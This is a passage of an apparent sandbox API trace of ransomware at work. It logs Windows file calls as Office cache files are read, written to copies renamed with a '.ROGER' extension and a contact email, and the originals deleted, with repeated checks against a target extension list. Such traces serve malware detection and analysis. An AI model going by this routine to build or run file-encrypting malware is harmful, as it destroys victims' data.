lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.159] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0038.159] SetEndOfFile (hFile=0x368) returned 1 [0038.159] CloseHandle (hObject=0x368) returned 1 [0038.159] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.159] SetEndOfFile (hFile=0x364) returned 1 [0038.160] CloseHandle (hObject=0x364) returned 1 [0038.160] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.161] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0038.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.161] lstrlenW (lpString=".doc") returned 4 [0038.161] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.161] lstrlenW (lpString=".docx") returned 5 [0038.161] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.161] lstrlenW (lpString=".pdf") returned 4 [0038.161] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.161] lstrlenW (lpString=".xls") returned 4 [0038.161] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.161] lstrlenW (lpString=".xlsx") returned 5 [0038.161] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.161] lstrlenW (lpString=".ppt") returned 4 [0038.161] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.161] lstrlenW (lpString=".zip") returned 4 [0038.161] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.161] lstrlenW (lpString=".rar") returned 4 [0038.161] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.161] lstrlenW (lpString=".bz2") returned 4 [0038.161] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.161] lstrlenW (lpString=".7z") returned 3 [0038.177] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.178] lstrlenW (lpString=".dbf") returned 4 [0038.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.178] lstrlenW (lpString=".1cd") returned 4 [0038.178] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.178] lstrlenW (lpString=".jpg") returned 4 [0038.178] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.178] lstrlenW (lpString=".doc") returned 4 [0038.178] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString=".docx") returned 5 [0038.178] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.178] lstrlenW (lpString=".pdf") returned 4 [0038.178] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString=".xls") returned 4 [0038.178] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString=".xlsx") returned 5 [0038.178] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.178] lstrlenW (lpString=".ppt") returned 4 [0038.178] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.178] lstrlenW (lpString=".zip") returned 4 [0038.178] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.178] lstrlenW (lpString=".rar") returned 4 [0038.178] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString=".bz2") returned 4 [0038.178] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.178] lstrlenW (lpString=".7z") returned 3 [0038.178] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.178] lstrlenW (lpString=".dbf") returned 4 [0038.179] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.179] lstrlenW (lpString=".1cd") returned 4 [0038.179] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0038.179] lstrlenW (lpString=".jpg") returned 4 [0038.179] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.179] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.179] lstrlenW (lpString="Setup.xml") returned 9 [0038.179] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.179] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1852) returned 1 [0038.179] CloseHandle (hObject=0x364) returned 1 [0038.179] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.179] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.179] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.180] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.180] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0038.180] GetLastError () returned 0x0 [0038.180] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x73c, lpOverlapped=0x0) returned 1 [0038.181] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x740, lpOverlapped=0x0) returned 1 [0038.182] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.182] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.182] SetEndOfFile (hFile=0x368) returned 1 [0038.183] CloseHandle (hObject=0x368) returned 1 [0038.183] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.183] SetEndOfFile (hFile=0x364) returned 1 [0038.184] CloseHandle (hObject=0x364) returned 1 [0038.184] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.184] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.184] lstrlenW (lpString=".doc") returned 4 [0038.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString=".docx") returned 5 [0038.185] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.185] lstrlenW (lpString=".pdf") returned 4 [0038.185] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString=".xls") returned 4 [0038.185] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString=".xlsx") returned 5 [0038.185] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.185] lstrlenW (lpString=".ppt") returned 4 [0038.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.185] lstrlenW (lpString=".zip") returned 4 [0038.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.185] lstrlenW (lpString=".rar") returned 4 [0038.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString=".bz2") returned 4 [0038.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString=".7z") returned 3 [0038.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.185] lstrlenW (lpString=".dbf") returned 4 [0038.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.185] lstrlenW (lpString=".1cd") returned 4 [0038.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.185] lstrlenW (lpString=".jpg") returned 4 [0038.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.185] lstrlenW (lpString=".doc") returned 4 [0038.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.185] lstrlenW (lpString=".docx") returned 5 [0038.186] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.186] lstrlenW (lpString=".pdf") returned 4 [0038.186] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.186] lstrlenW (lpString=".xls") returned 4 [0038.186] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.186] lstrlenW (lpString=".xlsx") returned 5 [0038.186] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.186] lstrlenW (lpString=".ppt") returned 4 [0038.186] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.186] lstrlenW (lpString=".zip") returned 4 [0038.186] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.186] lstrlenW (lpString=".rar") returned 4 [0038.186] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.186] lstrlenW (lpString=".bz2") returned 4 [0038.186] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.186] lstrlenW (lpString=".7z") returned 3 [0038.186] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.186] lstrlenW (lpString=".dbf") returned 4 [0038.186] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.186] lstrlenW (lpString=".1cd") returned 4 [0038.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.186] lstrlenW (lpString=".jpg") returned 4 [0038.186] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.186] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.186] lstrlenW (lpString="Setup.xml") returned 9 [0038.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0038.187] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=6241) returned 1 [0038.188] CloseHandle (hObject=0x368) returned 1 [0038.188] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.188] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0038.188] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.188] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.190] GetLastError () returned 0x0 [0038.190] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1861, lpOverlapped=0x0) returned 1 [0038.192] WriteFile (in: hFile=0x364, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0038.193] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.373] WriteFile (in: hFile=0x364, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.373] SetEndOfFile (hFile=0x364) returned 1 [0038.373] CloseHandle (hObject=0x364) returned 1 [0038.373] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.373] SetEndOfFile (hFile=0x368) returned 1 [0038.374] CloseHandle (hObject=0x368) returned 1 [0038.374] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.437] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.694] lstrlenW (lpString=".doc") returned 4 [0038.694] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.694] lstrlenW (lpString=".docx") returned 5 [0038.694] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.694] lstrlenW (lpString=".pdf") returned 4 [0038.694] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString=".xls") returned 4 [0038.695] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString=".xlsx") returned 5 [0038.695] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.695] lstrlenW (lpString=".ppt") returned 4 [0038.695] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.695] lstrlenW (lpString=".zip") returned 4 [0038.695] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.695] lstrlenW (lpString=".rar") returned 4 [0038.695] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString=".bz2") returned 4 [0038.695] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString=".7z") returned 3 [0038.695] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.695] lstrlenW (lpString=".dbf") returned 4 [0038.695] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.695] lstrlenW (lpString=".1cd") returned 4 [0038.695] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.695] lstrlenW (lpString=".jpg") returned 4 [0038.695] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.695] lstrlenW (lpString=".doc") returned 4 [0038.695] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString=".docx") returned 5 [0038.695] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.695] lstrlenW (lpString=".pdf") returned 4 [0038.695] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.695] lstrlenW (lpString=".xls") returned 4 [0038.696] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.696] lstrlenW (lpString=".xlsx") returned 5 [0038.696] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.696] lstrlenW (lpString=".ppt") returned 4 [0038.696] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.696] lstrlenW (lpString=".zip") returned 4 [0038.696] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.696] lstrlenW (lpString=".rar") returned 4 [0038.696] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.696] lstrlenW (lpString=".bz2") returned 4 [0038.696] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.696] lstrlenW (lpString=".7z") returned 3 [0038.696] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.696] lstrlenW (lpString=".dbf") returned 4 [0038.696] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.696] lstrlenW (lpString=".1cd") returned 4 [0038.696] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.696] lstrlenW (lpString=".jpg") returned 4 [0038.696] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.696] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.696] lstrlenW (lpString="Setup.xml") returned 9 [0038.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0039.221] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1988) returned 1 [0039.221] CloseHandle (hObject=0x35c) returned 1 [0039.221] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.222] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.222] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0039.222] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.222] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.222] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0039.222] GetLastError () returned 0x0 [0039.222] ReadFile (in: hFile=0x35c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0039.224] WriteFile (in: hFile=0x378, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0039.225] ReadFile (in: hFile=0x35c, lpBuffer=0x4960020, 